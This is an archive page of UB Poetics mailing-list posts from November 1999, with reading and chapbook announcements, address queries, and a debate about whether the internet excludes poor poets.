>Get Your Private, Free Email at http://www.hotmail.com
>

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87. Arielle C. Greenberg
Mass Ave
Wed 3 Nov 1999

I just tried to send work to Mass Ave using the address from the most recent issue I've seen and it came back "address expired." Has the address changed? Does someone have the new one? Perhaps the editor himself, if he's on here?

Backchannel, please.

Thanks so much.

Arielle

********** "I thought numerous gorgeous sadists would write me plaintive appeals, but time has gone by me. They know where to get better looking boots than I describe." -- Ray Johnson

↑ Index

88. Tony Green
Fw: heraclitus
Wed 3 Nov 1999

the list may find this of interest: check it out

Tony Green

From: alan loney <[redacted]>
To: [redacted] <[redacted]>
Date: Wednesday, 3 November 1999 19:37
Subject: heraclitus

> *gosh*
>
> *looking up heraclitus on the Web, I found this, do you know it?*
>
> *www.die.net/noise/p/o/p/index.htm*
>
> *golly/gosh*
> --
> [redacted]
> *3/93 Southampton St*
> *Christchurch 8002*
> *New Zealand*
> *phone : 64 3* [redacted]

↑ Index

89. Jerrold Shiroma
Small Press Bibliography Project @ Duration Press
Wed 3 Nov 1999

---

apologies to any who receive this message more than once.

Duration Press has finally decided to start its Small Press Bibliography Project. This project will be an attempt to provide a possible mapping of the various small press activities of the past 25+ years. Taking our inspiration from the recent Granary Books anthology, _A Secret Location on the Lower East Side_, we are hoping to extend this type of project into the exploration of book, as well as magazine, publishers of "innovative poetry."

We will be taking as our starting point the year 1970, & will continue indefinitely.

Publishers, both active & inactive, of magazines, books, broadsides, pamphlets, chapbooks, etc., are invited to send their catalogs, along with a short statement about the press as a whole.

When sending information, please do not send any excessive information, such as cover blurbs or reviews. Send ONLY the following:

Book Title
Author Name
Publisher
Publication Date

to [redacted]

or

Jerrold Shiroma
Duration Press
attn: Small Press Bibliography Project
117 Donahue St. # 32
Sausalito, CA 94965

Publishers of multi-author publications, such as journals, anthologies, collaborative works, etc., are, however, encouraged to send tables of contents.

Until we are able to establish a fully searchable database, all publications will be listed by publisher.

We hope that in some way this project, as it finally gets moving, will give readers a sense of the varied traditions of alternative presses, as well as the

ongoing commitment that publishers have shown not only to their own work, but to the survival of the poetry communities at large.

Please pass this message along to any publisher who may be interested in participating.

more information can be found at www.durationpress.com

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90. Jill Stengel
Re: Address
Wed 3 Nov 1999

Clark Coolidge
108 Prospect Street
Petaluma, CA 94952

don't know abt email...

jill

↑ Index

91. Jim Rosenberg
Re: miekal and dobyns and etc.
Wed 3 Nov 1999

Billy Mills writes:

> *Just want to state my agreement with Tom Beckett on this. Internet and e-mail are emphatically _not_ democratic media. They are exclusionist. The poor are, as Tom notes, once again the excluded.*

Some questions.

What was the cost of a typewriter in real US dollars in 1969?

What is the cost of a low-end PC in real US dollars in 1999?

Was the typewriter "exclusionist" in 1969?

How many poets do you know that have refused to use typewriters because they "exclude the poor"?

Some people can't afford phone service. Does that mean poets "shouldn't" use the telephone?

What is the cost to someone of low economic means to self-publish using print technology?

What is the cost to someone of low economic means to self-publish using computer technology, say through a library?

How cheap does a computer have to be before we will stop hearing this argument?

When I was in college computers cost several hundreds of thousands of dollars. Today they cost a few pairs of good sneakers. Soon they will probably cost a third the cost of a good pair of sneakers. If the computer costs $50 will it be "exclusionist"? If it costs $10 will it be "exclusionist"?

What is the cost of 10 well-made small-press books? Is this exclusionist? Which will be exclusionist when the computer is cheaper than the 10 books?

When I first got on-line my cost to download a single page of information was the same as my cost to buy the entire Sunday New York Times on the newsstand. Today my Internet service for a year is cheaper than buying the Sunday New York Times at a newstand for a year. And it includes the New York Times every day.

* * *

The economic argument for computers as exclusionist *IS GOING AWAY*. It is melting away in front of our eyes.

Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

↑ Index

92. Joel M Bettridge
date change for Ronald Johnson conference
Wed 3 Nov 1999

__Eye, Ear & Mind: A Conference on the Poetry of Ronald Johnson__ previously set for April at SUNY Buffalo has now been moved to March 17th & 18th (2000). Please send abstracts by December 1st. Back channel or post too: Joel Bettridge, 259 Ashland Ave#3, Buffalo NY 14222. Also, please forward this message to other lists or anyone that might be interested. Thanks,

Joel

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93. Tom Beckett
Re: miekal and dobyns and etc.
Wed 3 Nov 1999

E-mail on listservs such as this functions like speech but without social context--speech divorced from body language, gesture, eyeblink , etc. Therein lies the nub of the problem for me. One comes to rely on strategic overstatement to make one's point, often generating overreaction in return.

I'm not a luddite. But every new technology brings a raft of new perils along with that paradigm shift. The shift away from the body--the immateriality of the new electronic media --seems like one of these to me.

Tom Beckett

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94. Alan Sondheim
DOCTOR LEOPOLD KONNINGER, ERROR MESSAGE
Thu 4 Nov 1999

-

DOCTOR LEOPOLD KONNINGER, ERROR MESSAGE

Doctor Leopold Konninger is refusing all messages on account of his obsessive delight with the beautiful Russian ballet dancer Nikuko, he's got it bad.

<[redacted]>: host sendnix.tele.net[194.183.128.150] said:
550 <[redacted]>... User refusing messages
Wed, 3 Nov 1999 00:46:21 EDT
konninger: %MAIL-E-OPENOUT, error opening !AS as output
   -RMS-E-CRE, ACP file create failed
   -SYSTEM-F-EXDISKQUOTA, disk quota exceeded
Tue, 2 Nov 1999 20:43:32 EDT
konninger: %MAIL-E-OPENOUT, error opening !AS as output
   -RMS-E-CRE, ACP file create failed
   -SYSTEM-F-EXDISKQUOTA, disk quota exceeded
Tue, 2 Nov 1999 13:25:45 EDT
konninger: %MAIL-E-OPENOUT, error opening !AS as output
   -RMS-E-CRE, ACP file create failed
   -SYSTEM-F-EXDISKQUOTA, disk quota exceeded
Tue, 2 Nov 1999 08:30:11 EDT
konninger: %MAIL-E-OPENOUT, error opening !AS as output
   -RMS-E-CRE, ACP file create failed
   -SYSTEM-F-EXDISKQUOTA, disk quota exceeded

date: Wed, 3 Nov 1999 03:05:15 -0500 (EST)
from: Alan Sondheim <[redacted]>
to: Doctor Leopold Konninger <[redacted]>
subject: Urgent message from The Ambassador

status: Doctor Leopold Konninger is out of touch.
status: Doctor Leopold Konninger is obsessed by the ballet dancer Nikuko.
status: Doctor Leopold Konninger is permanently out of touch.

The Ambassador attempts to reach Doctor Leopold Konninger. The Ambassador says: Come back immediately. Stop fooling around.

status: Doctor Leopold Konninger does not answer his email. status: You might as well forget Doctor Leopold Konninger.

The Ambassador desperately needs to speak to Doctor Leopold Konninger. The Ambassador says: I really mean it. We need you. Stop this nonsense.

status: Doctor Leopold Konninger is occupied.
status: Doctor Leopold Konninger will not answer status: requests.
status: Doctor Leopold Konninger wants you to know that he is really
happy for the first time in his life watching the famous
Russian ballet dancer Nikuko dancer solely for him in her
beautiful tutu while he sits unclothed for the first time in
his life at a small circular wooden table in a wooden chair
watching her amazing cabrioles and entrechats.

550 <[redacted]>... No reply.

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95. Charles Alexander

announcement

Thu 4 Nov 1999

---

chax press
with thanks to Dinnerware Contemporary Art Gallery
presents a POETRY READING by

Mong-Lan
Frances Shoberg
Sharon Preiss

Friday, November 5, 7 pm

at Dinnerware Contemporary Art Gallery
135 E. Congress Street, Tucson

MONG-LAN is a writer and visual artist. Her poems appear or are forthcoming in several prominent American literary publications, including The Kenyon Review, The Iowa Review, Seneca Review, Quarterly West, Manoa, Pleiades, Berkeley Poetry Review, and The Pushcart Prize XXIV Anthology.

FRANCES SHOBERG received a BA in Creative Writing from the University of Arizona. She has worked as an elementary school teacher in Mexico, a bartender, and a reporter for a construction news magazine. She currently works at the UA Poetry Center and serves as a member of the board of Kore Press. She is studying for a Master of Fine Arts degree at Warren Wilson College in Asheville, North Carolina. She is currently at work on a manuscript of poetry whose working title is "Quod me Nutrit, Me Destruit."

SHARON PREISS earned an MFA in Poetry and Lit at Bennington College's low-residency program. She has published poems and book reviews in Massachusetts Review, Pif Magazine, Stud Duck, The Tucson Weekly, and elsewhere. She was awarded a New York State Arts Decentralization Grant for the production of City Poems: an urban monologue, based on the chapbook of the same name. In the spring of 1999 she won first place at the Tucson Poet slam. Currently she teaches for Bennington College and UA Writing Works.

This reading occurs during the Dinnerware gallery exhibition of works by the artists Denise Kramer, Nadia Hlibka, Monique Mynlieff, and Gwyneth Scally. Chax Press is grateful to these artists not only for allowing, but for suggesting the possibility of this reading.

Chax Press is a nonprofit, 501c3 organization, currently celebrating its 15th year. Our mission is to publish innovative literature in book arts and trade editions, and to present public events that educate the public as to the nature and diversity of contemporary innovative writing and the book arts. Since 1985 in Tucson these events have included literary readings, talks by artists and writers, series of readings and talks, artists’ residencies, open studio events, and more.

This reading is free and open to the public; your donations to Chax Press are encouraged and gratefully received.

from "An Excess of Fact", by Frances Shoberg

of time metered out of that not meant to be carried
in memory of the brine that rends the awful flesh
of the living the ecstasy of a monitor's keeping time
an electrically charged life an amnesiac
integrated into the stream of blood,
nearly stagnant pooling behind trussed legs

  -- and O how you will the mind to be flesh

Coast (one section of a longer poem), by Mong-Lan

1

what are ten or a hundred years
the blink
the wait

numb a nail
diligent as wind
scars tucked in your fists
you cross
the etched palm of the Pacific

the ocean a letter
written over the shore
unread shred by waves

How I Spent My Summer Vacation, by Sharon Preiss
after Jimmy Schuyler's "The Morning of the Poem"

With the crisp sea breeze splashing endlessly
about my face my feet the sand between
my toes sometimes sizzling sometimes soothing
the best being walks at midnight moon full
of sand gleaming sand full of moon streaming across
the silk of the still sleeping sea but this
is all a lie a dream of course a pleasant one
and one that would and does include
you because always when there is the sea
there is you (especially when the sea
is that sandy hook of eastern Massachusetts
where we've sucked the life out of
lobster and morning and memory many a time).
If the truth be known and it will be for I
am just about to tell it I did jack shit this summer
which means nothing it means I did
nothing such a strange expression and I am
always fascinated about where such expressions
come from and actually saw a fat reference book
in a library once that explained the origin
of such things and was such a gas I vowed someday
to own my own copy but haven't yet even
looked for it to buy anywhere or even looked for it
in the library again to find out its name although
I swear someday I will just like I swear someday

I will have that summer vacation with you
like the one I just described and have actually had
before but really miss and want to have again
soon because number one I miss you and number two
I miss the ocean these two things beyond measure
and number three because I have been working so hard
at things for the last few years and have been so
broke for the last many years that the words summer
and vacation mean jack shit to me but evoke some
foggy gray memory of you and make me notice that
my city seems rather like a ghost town this August
Saturday my skin as luminous white as the belly
of the frog I just saw dangerously hopping
across Central Avenue a block away from the park.

↑ Index

96. Tom Beckett

Re: miekal and dobyns and etc.

Thu 4 Nov 1999

"Poets are unbearable to one another. You have to see them with other people to know what they're like."

Elias Canetti (from __Notes from Hampstead__)

↑ Index

97. Brent Long

Apollinaire/Hesse

Thu 4 Nov 1999

To all:

Wondering if anyone on the list knows whether or not Apollinaire and Hesse knew each other during their writing careers? I know Apollinaire was a bit older, but I also know their work shared some of the same time period, and both have been credited heavily for influencing many of the Beat poets. Is there anything which documents whether or not they knew one another? I spoke with Donald Revell last night (he translated Appolinaire's _Alcools_) and he thought not, but I'm trying to find out for sure...

Thanks in advance.

Brent Long

↑ Index

98. miekal and
tendering opposition
Thu 4 Nov 1999

while I really dont have time to rehearse my answers to electronic nay-saying, I remain fascinated by the assumptions one has to make to tender opposition to electronic literature. without fail, I find that every arguement against emedia is easily turned on its head & can be applied to gutenberg's folly. & the irony being that this discussion would not be possible without using the internet.

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I would agree that internet is not democratic, my experience of it & how Ive used it has been much more in the anarchist vein. I do a tremendous amount of networking, organizing, & distribution via the net. It is merely a tool, it is not an idle demon waiting to possess our souls or appropriate our sense of identity & culture. The internet is a very broadband, & just like small press & the zine revolution changes the ways we think about the printed word, it does it by existing in the margins/shadows of the Text of Capital. It is no different in electronic space, edges of opposition & otherness flourish outside the banner ads, the spam, the supermodel sperm for sale. But the assumption that books are anymore democratic is equally contestable. I havent been able to afford to buy books for years, if I have $20/month to spend, is it wiser to buy one book (or a part of a book) or buy a month of unlimited access where I can read 100s of texts, distribute my work, correspond with artists around the world, access information bases.... The nearest decent library is 100 miles away, I go there once every 3 months or so. Even this library which has a notoriously famous small press collection, probably only has titles by about 10% of the people on this list, yet on the internet thru online journals I can read a large percentage of poetic lists works. Spend a day at the EPC for beginners.

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other than virtual and distant, and not so set on closing a gap that - with
respect to getting and being together literally - doesn't really exist. In
this, one ends up having the pleasure of actual co-conspirators with whom
one may plot considerable intrigues with and/or insurrections against, one's
own nation, town, neighborhood, relatives, fellow travelers, and self, this
latter, cemented so completely into a perpetually "responsible" place, the
one "position" one needs more literal help removing themselves from than any
other.

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Since Ive stepped up to the line to be the straw man, keep in mind that my position is not a one or the other. Text's territory is expanding whether you like it or not, whether you will participate or not. It has already happened & the book will forever feel the affects of digitality. Whether the relationship hard copy creates with e copy is good or bad is not interesting to me. How we make use of vast potential is.

o, & for the record, hits to a website are as meaningless as sales of poetry books. for almost any activity Ive engaged in I use the 1% rule, that 1 out of a 100 will find something I do interesting enough to respond directly. Always in any medium, that is what counts. Engaged.

mIEKAL

↑ Index

99. Robert Archambeau

Re: anyone know?

Thu 4 Nov 1999

Bill Fuller? You won't find him in a Chicago directory -- he lives in Winnetka (or was it Wilmette?)

R.A.

↑ Index

100. Tom Beckett

Bromige and the Provinces

Thu 4 Nov 1999

There is a well-known __New Yorker__magazine cover that depicts a bloated map of NYC in the foreground with the rest of the country attached as afterthought in the background. A similar psychogeography could be plotted from the perspective of the Bay Area or any so-called Cultural Center.

David, It is difficult to do innovative writing away from systems of support. It's also harder to find like-minded peers to jam with and react to. And, too, one's publishing options are apt to be more limited due to fewer networking opportunities. I'm painfully aware of these issues. I live them.

It's even harder though to read your last posting and not see in it an implicit note of condescension or cultural imperialism.

Those of us who reside "everyplace else" are continually reminded through the media and by our more sucessful colleagues of our second-class, outsider status. I can recite names, dates, places. I don't forget. And I don't like it.

Tom Beckett

↑ Index

101. **peter neufeld**

New Chapbook from melodeon poetry systems

Thu 4 Nov 1999

We are pleased to announce the publication of:

David Buuck's _up the flagpoles_

this fall. This book is available for $6 ppd from the
address listed below:

Peter Neufeld
3573 19th St.
San Francisco CA 94110.

Please make check payable to me.

Peter Neufeld.

=====

_____
Do You Yahoo!?
Bid and sell for free at http://auctions.yahoo.com

↑ Index

102. **David Baratier**

Re: Business, class, access

Thu 4 Nov 1999

David Baratier:
There are many publishers outside & on this list who do not
>use the perpetual victim stance or "have not" status you are

attributing
>to the lower classes

KL:
Question: How does bringing the power of analysis to bear on a situation,
speaking out about it, and producing works in response to it constitute being a "victim"?

Answer:

Are you asserting that you are analyzing the situation? Throughout your posting you blame a social construct as a way to position yourself. The implication of--
"I get very tired of this because money does buy access: more time to write, money to publish one's own journals and books, which in turn increases both community as well as publishing opportunities for one's own work by increasing your 'profile' and 'reputation.'" ---is that your working class background does not allow you to go beyond the societal expectation inherent in class structure.

"Publication being determined partly by who you know" The implication that one cannot "know" anyone without ludicrous jacksons hits me as another oppressive class myth. I know a guy who was a steelworker when tri-quarterly published his first book. I know a guy who works in a cranberry bog for numerous months each year, who is well published & one of the latter half of this centuries best poets. And so on--

"There's a lack of access to the Internet, where one can hobnob with publishers and magazine editors" Yet another victim statement. Interested folks can go to the library for free, as mentioned.

While not all of these quotes are yours, Kathy, as you also say, "the quote from Bobbie implicates both Bobbie & myself, in a way laying things bare, and saying, yup this is how it works." My question is, in what way are you a reliable source for what occurs in the upper eschelons of poetry if you have never been there? I also add, as a person whose income is negligible, that I have not personally experienced the insinuated discrepancies described.

Be well

David Baratier

↑ Index

103. Mark Melnicove
Poets in towers
Thu 4 Nov 1999

I'm trying to locate a book of lit crit about poets who lived/worked in towers. I saw it in a catalogue recently, but I can't remember where. The author was a woman, I think. Poets were Jeffers, Yeats, Rilke, and...(there was a fourth). Anyone know the book? Thanks, Mark Melnicove

↑ Index

104. Lowther, John
the Rub
Thu 4 Nov 1999

{ p o e t i x }

stephen ellis wrote;

to rub elbows, hips
 and foreheads, or
play footsies with,
 those whose literal
    presence
 affords a simple and
perpetual kind of
 "correction" against
presuming an authority

this does feel like the excluded bounty the web-world ---- and watching squalls blow up on this list and others over and over i've thought that a table to sit around would change things so much for the better ---- perhaps more technology will help as we drift toward video phones and other shit of that sort ---- i don't really expect it to

during the 89 riots in kathmandu, on the first day, big groups* of students chanting "we want demo cracy" "we want demo cracy" (it means "down with the king") ---- the long arm winding up without reference to american baseball to chuck a brick at the line of soldiers ---- cheers ---- the soldiers charge i hide in camera and catch the charge rag tag and not very impressive if still dangerous and sort of pathetic

stephen continues a bit later;

I've always thought
 the smallness

of poetry's audience
was an advantage, in
that it is fairly easy
to get to know those

with whom one may
share certain affinities

those who read you,
and/or who you read
(locals!) - wch might
then be the basis
of a group

whose inter-relationships
would be something
other than virtual and distant,
and not so set
on closing a gap that - with

respect to getting
and being together
literally -
doesn't really exist.

sure. it's a new medium, or relatively new and in need of lots of things probably with all the conflicting needs it's being used for ---- and whoa ! 800 and some poets might be reading ? ---- not that i think so (hats off to lurkers and anyone who deletes me on sight) ---- maybe "restraint" isnt all it's cracked up to be, maybe the same is true of "reasonableness" ---- but given how hard it is to see the intent ---- how many times have we heard "well by yr tone" and been surprised at where that went, where you hadnt thought you'd been

so i stood in the street and snapped pictures of the charge and much as it is when yr crossing a street with traffic coming you gauge the speed and all that and don't usually have doubts that you'll make it ---- cars speed up and such but these guys running in all their gear and those miserable boots PART OF THIS and for good reason, being mistaken for a Nepali student might have gotten me hurt and being so obviously NOT one and holding a camera created something of safe zone around me initially ---- no soldier (this 1st day certainly) wanted to be photographed whacking anyone with a club

i'm writing to an unfixed you out there and i can't see any of you ---- you might have as easily said this to me

mr. ellis again;

> [the] self, (. . .)
> cemented so completely
> into a perpetually
> "responsible" place, the
> one "position" one needs
> more literal help
> removing themselves from
> than any other.

we like to be de-individuated on occasion ---- i blast loud music doing the housework i like the least ---- think about the zone when you cd dance all night ---- think about the crowds in the coliseum, maybe basketball ? maybe lions ?

why do people pay attention to violence ? i heard an answer recently "b/c it's evolutionarily adaptive to pay attention to violence, if yr not paying attention it's that much easier to get surrounded by it"

my friend randy remarked to me while we were watching the turnstile site http://stadiumweb.com/turnstile/turnstile_part2.html that there was all this SEX SEX SEX but where was the violence on the web, that given the continual pairing of these things in talk wdnt one suppose that there wd be a lot of violence on-line ? maybe there is ?

finally, either i cdnt resist or just wanted to be part of the mobs of students that were now harassing the soldiers from the side streets ---- they'd hide a block down and as the soldiers passed they'd creep down these narrow streets and rush out onto New Road and start shouting and throwing bricks and stones and then before the soldiers cd get into their line again for another charge, back down the sidestreet they'd run ---- i wanted to see that hidden scene wanted to creep up on the cops with them and see it from there so i ran with them, but i'd waited a bit too long and the tide had changed a bit and just as i was making to the backstreet where the students were laughing and jumping around the tear gas canisters started landing around us and everyone panic'd and ran everywhichaway knocking each other over and an old man in a topi fell in front of me and coughed and i helped him up and started to retch and i was hit on the back of my neck and shoulder by a brick and went down lost what air i had in my lungs and suddenly cdnt breathe either ----- a man stepped out of a house and picked up the old man again and took my arm and led us into his house closing the door behind us

after i cd breath again they let me come upstairs to peek thru the shutters at the street (now THAT'S "audience")

the challenge is to allow people to become deindividuated but not lose the ability to distinguish and choose between things they'd never do and things they wd and we have this curious sense that on line we're both isolate

individuals and part of a mob, able it seems to access the nastiest options of both conditions

maybe if there was a table between them ?

a weekly get together with food, jokes, drinks and talk ?

anyway

)ohn

↑ Index

105. **hassen**

Re: Free Cuisinart

Thu 4 Nov 1999

Betsy Andrews:

> *Can anyone give me a website address for Free Cuisinart?<<*

did you find this yet?

http://www.ccofa.org/wowzine/wowzine.html

h

↑ Index

106. **Poetics List Administration**

Re: anyone know?

Thu 4 Nov 1999

--On Wednesday, November 03, 1999, 9:39 PM -0500 "L-Soft list server at University at Buffalo (1.8d)" <[redacted]> wrote:

This message was originally submitted by [redacted] to the POETICS
list at LISTSERV.ACSU.BUFFALO.EDU. You can approve it using the "OK" mechanism,
ignore it, or repost an edited copy. The message will expire automatically and
you do not need to do anything if you just want to discard it. Please refer to
the list owner's guide if you are not familiar with the "OK" mechanism; these
instructions are being kept purposefully short for your convenience in
processing large numbers of messages.

by listserv.acsu.buffalo.edu with SMTP; 4 Nov 1999 02:39:08 -0000 id <19991104023906229 01oo0qke>; Thu, 4 Nov 1999 02:39:07 +0000 From: <[redacted]> To: "UB Poetics discussion group" <[redacted]> Subject: Re: anyone know? Date: Wed, 3 Nov 1999 18:39:01 -0800

how to reach bill fuller of chicago?

↑ Index

107. MAXINE CHERNOFF
Several Announcements
Thu 4 Nov 1999

On Thursday, November 11, Keith and Rosmarie Waldrop will be reading in Chicago at Columbia College at 5:30 pm.,Ferguson Theater, 600 S. Michigan.

On the same day, on Poetry Daily, Paul Hoover's "Canticus Narcissus" from his new and selected, TOTEM AND SHADOW (Talisman House), will be the featured poem.

↑ Index

108. Stephen Ellis
Re: tendering opposition
Thu 4 Nov 1999

I like the way you're thinking this out, or through. Nevertheless, there is some aspect of physicality, or presence, that's lacking in both internet and book media. A page is a page is a page, no matter how fast you can send it elsewhere. And in light of this speed, how, exactly, do we define "real time" - is it still "like" talking with someone? That "like" makes it all seem rather flat. Maybe it's my attitude that's flat, but it occurs to me to suggest that substance has to be in what's ON the page, not how quickly it can become globe-trotting "information". I mean, is poetry simply "information"? I recognize that it does "globe-trot", but does it have to formalized primarily in that aspect alone, bereft of whatever "world" ignited it? - S E

> *From: miekal and <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: tendering opposition*
> *Date: Thu, 4 Nov 1999 09:07:42 -0600*
>
> *while I really dont have time to rehearse my answers to electronic nay-saying, I remain fascinated by the assumptions one has to make to tender opposition to electronic literature. without fail, I find that every arguement against emedia is easily turned on its head & can be applied to gutenberg's folly. & the irony being that this discussion*

would not be possible without using the internet.

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I would agree that internet is not democratic, my experience of it & how Ive used it has been much more in the anarchist vein. I do a tremendous amount of networking, organizing, & distribution via the net. It is merely a tool, it is not an idle demon waiting to possess our souls or appropriate our sense of identity & culture. The internet is a very broadband, & just like small press & the zine revolution changes the ways we think about the printed word, it does it by existing in the margins/shadows of the Text of Capital. It is no different in electronic space, edges of opposition & otherness flourish outside the banner ads, the spam, the supermodel sperm for sale. But the assumption that books are anymore democratic is equally contestable. I havent been able to afford to buy books for years, if I have $20/month to spend, is it wiser to buy one book (or a part of a book) or buy a month of unlimited access where I can read 100s of texts, distribute my work, correspond with artists around the world, access information bases.... The nearest decent library is 100 miles away, I go there once every 3 months or so. Even this library which has a notoriously famous small press collection, probably only has titles by about 10% of the people on this list, yet on the internet thru online journals I can read a large percentage of poetic lists works. Spend a day at the EPC for beginners.

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steven ellis wrote:

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> *Since Ive stepped up to the line to be the straw man, keep in mind that my position is not a one or the other. Text's territory is expanding whether you like it or not, whether you will participate or not. It has already happened & the book will forever feel the affects of digitality. Whether the relationship hard copy creates with e copy is good or bad is not interesting to me. How we make use of vast potential is.*
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>
> *mIEKAL*

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

109. **Pritchett,Patrick**

Re: Poets in towers

Thu 4 Nov 1999

Don't know the fourth in this bridge set, but Pound was fond of calling Yeats' tower "Ballyphallus." He also pronounced his occult theory of the 28 cycles of the moon & human personality" "very very very bughouse." All to be found in Brenda Maddox's new bio of Yeats, _Yeats' Ghosts_.

Patrick Pritchett

↑ Index

110. **Safdie Joseph**

Re: heraclitus

Thu 4 Nov 1999

Tony, I did as instructed, and, although I'm generally in favor of any scheme that would deflect the grasp of capitalism from our private lives, found the

actual texts that were generated as a result less than interesting. Were you suggesting that they had any value in and of themselves?

Joe

---

the list may find this of interest: check it out

Tony Green

> *looking up heraclitus on the Web, I found this, do you know it?*
>
> *www.die.net/noise/p/o/p/index.htm*

↑ Index

111. **pete spence**

Re: internet costs

Thu 4 Nov 1999

>
seems fairly general here in publik libraries free internet access for cardholders, i remember a few years ago when i was in the art/festivals dept at the city of port phillip we really pushed this idea with their libraries and it seems to have gone out through the library system//pete

> *I'll check out NZ public libraries & let you know the results*
>
> *best Tony Green*
> *-----Original Message-----*
>
> *re Miekal & Tom on costs -- I paid 2pounds sterling + 50 p for 1/2 hour in*
> *a public library in London in October, 1 pound +50 p for 1/4 hr in a*
> *cybercafe in London, & $39.95 NZ = about $20 US per month to run internet*
> *at*
> *home*
>
> *Tony Green*
>
> *Tony*
> *thats sad, service here at our library in ocean grove australia is free as*
> *long as you are a library card holder, the library card is free as long as*

> *you are a resident in the area//pete spence*

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

112. miekal and
Re: Poets in towers
Thu 4 Nov 1999

[from a grant application to the wisconsin arts board last year]

In the tiny unincorporated town of West Lima, Wisconsin, Xexoxial Endarchy, Ltd. owns, among other propertieswhich
serve as facilities for "Dreamtime Village" & other projects, a one-acre lot in the center of town which was historically the
"town square." As a public art project Miekal And has began to design for this site The Driftless
Grotto of West Lima, a village park environment that will be part fantasmagorical roadside attraction, picnic area,
permaculture demonstration, sculpture garden, & shrine to the Driftless Region. Special features of the finished Grotto
will include

1) A stone-pillared concrete & blue-glass bottle archway entrance;

2) Mosaiced fence around the perimeter of the square;

3) A 20 ft stacked blue glass bottle tower housing a Jules Verne-style "time machine" which will be operated by the movements of
live birds inside an aviary;

4) Carved & painted remains of a dying 200 yr-old willow tree in the lot;

5) Flow-form water fountains & birdbaths & picnic benches; &

6) A web of tunnels inspired by & emanating from the extant remains on the lot of an old basement & a cistern which local folk tell us was literally the town watering-hole & weekly gathering place many years ago.

7) A bog garden of endemic carniverous pitcher plants.

THE DRIFTLESS GROTTO OF WEST LIMA
http://net22.com/dreamtime/grotto/index.html

↑ Index

113. Layne Russell
a david page
Thu 4 Nov 1999

I've just updated some links on David Bromige's page.... (This was his bio/intro page for the Socopoet page...Socopoet has reincarnated as EssentialPoet on the Onelist site, and I am no longer list owner. Some of the Socopoet site remains; I will be dismantling it, however some pages will stay, including David's.)

http://www.sonic.net/layne/bromige.html

More David is on the web now; I added five links. I'll be adding more David photos too.

Nice to be back. I've been quiet for a long time.

Layne

~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.sonic.net/layne
a quiet place

↑ Index

114. pete spence
Re: miekal and dobyns and etc.
Thu 4 Nov 1999

> *Billy Mills writes:*
>
> *Just want to state my agreement with Tom Beckett on this. Internet and e-mail are emphatically _not_ democratic media. They are exclusionist. The poor are, as Tom notes, once again the excluded.*
>
> *The economic argument for computers as exclusionist *IS GOING AWAY*. It is melting away in front of our eyes.*
>
> ---
> *Jim Rosenberg*

i agree with both you and tom, jerome!! i think if you want to use the system and can't afford to you just click in your streetwise mode and find a way to do it.. re the typewriter the concrete poets would head for the op/shop to buy a cheap one because it had some nice type malfunctions so one for neat letters and one for a few poems you!! cost for what you want....one of the reasons we
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

took so long to get the web site up at the city of port phillip when i worked there was the very argument that not all the people living in the councils boundaries would have access, long meetings, we all agreed on the ethical base but in the end someone is always going to be excluded this is a problem but it didn't stop guttenburg and soon a lot more people learnt to read!!!!!pete spence

_____
Get Your Private, Free Email at http://www.hotmail.com

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115. **pete spence**
Re: miekal and dobyns and etc.
Thu 4 Nov 1999

> "*Poets are unbearable to one another. You have to see them with other people*
> *to know what they're like.*"
>
> *Elias Canetti (from __Notes from Hampstead__)*

don't think amongst the 10,000 surfers here i got another poet around apart from my partner and our six year old son who does his poetry on his drum kit!!! i travel twice a year about two hundred kilometers down the coast to see one poet i get along with well, i dread going up to melbourne mixing with it!!but there was a time i enjoyed the whole messyness of it,,warm enough here now to takes some nice long walks along the coast//pete spence

_____
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116. **pete spence**
Re: Bromige and the Provinces
Thu 4 Nov 1999

> *Those of us who reside "everyplace else" are continually reminded through the*
> *media and by our more sucessful colleagues of our second-class, outsider*
> *status. I can recite names, dates, places. I don't forget. And I don't like*
> *it.*
>
> *Tom Beckett*

,,tom i just aren't into competitives when it comes to writing/making things, i'm absolutely happy if i have done something right to ever worry about will it be seen or will as many everybodies think i'm good at what i do,,,,pete spence

---

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117. Safdie Joseph
Re: The body
Thu 4 Nov 1999

I'd like to combine two recent posts, this one from Tom Beckett

E-mail on listservs such as this functions like speech but without social context--speech divorced from body language, gesture, eyeblink , etc. Therein lies the nub of the problem for me. One comes to rely on strategic overstatement to make one's point, often generating overreaction in return.

I'm not a luddite. But every new technology brings a raft of new perils along with that paradigm shift. The shift away from the body--the immateriality of the new electronic media --seems like one of these to me.

and an earlier one from Jacques Debrot, in which he says (in part)

I am interested in articulating the problem of registering & mediating the body within artistic production--particularly as this was addressed by the New York Poets and by the Cage, Johns, Rauschenberg circle. Language Poetry, interestingly enough, begins as a reaction against the emphasis the New Americans had placed on the physical body in relation to the poetic line and moves instead, of course, toward a self-reflexive preoccupation with the mediation of inner experience by language. Watten explains this move away from the body as a response to the Vietnam conflict, "the era of napalm," etc. But the Language Poets' critique is aimed, not at the most "advanced" considerations of the body, but at Olson, who improperly essentialized the body as the ground & meaning of his work.

to ask some questions (some of which are left over from a similar discussion on another poetics list). I can attest to the fact that, at least around the early 1980s in the Bay Area, there was a definite disdain expressed about Olson's work and influence among the folks that have been subsequently identified as the progenitors (and yes there were women too!) of the LPs. What I'd like to know is: what does it mean to "improperly essentialize the body as the ground and meaning of [one's] work", and how and why did Olson do it? Are we talking here about the breath of "Projective Verse" or the verse itself? Jacques mentions some exceptions to this general trend (e.g. Leslie Scalapino), but is he

in fact correct that the LPs as a whole were reacting against the New American emphasis on the physical body? If this is true (and accepting that dualism has placed its poisonous roots deep into most of our souls), doesn't it follow that if we don't essentialize the body we in fact wind up essentializing the mind? Isn't that the real cause of the "peril" that Tom mentions above? (One of my teachers was Norman O. Brown who, if I'm not mistaken, invented the term "polymorphous perversity" -- is such a desirable state really the result of this turn away from the body?) And finally, last Sunday's New York Times had an article on neo-paganism, which contained the seeminly inoccuous statement that members of the Wicca movement "regard nature itself as charged with divinity". Is this too "essentialism"?

Just wondering . . .

Joe

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118. **pete spence**
Re: miekal and dobyns and etc.
Thu 4 Nov 1999

> *E-mail on listservs such as this functions like speech but without social context--speech divorced from body language, gesture, eyeblink , etc.*
>
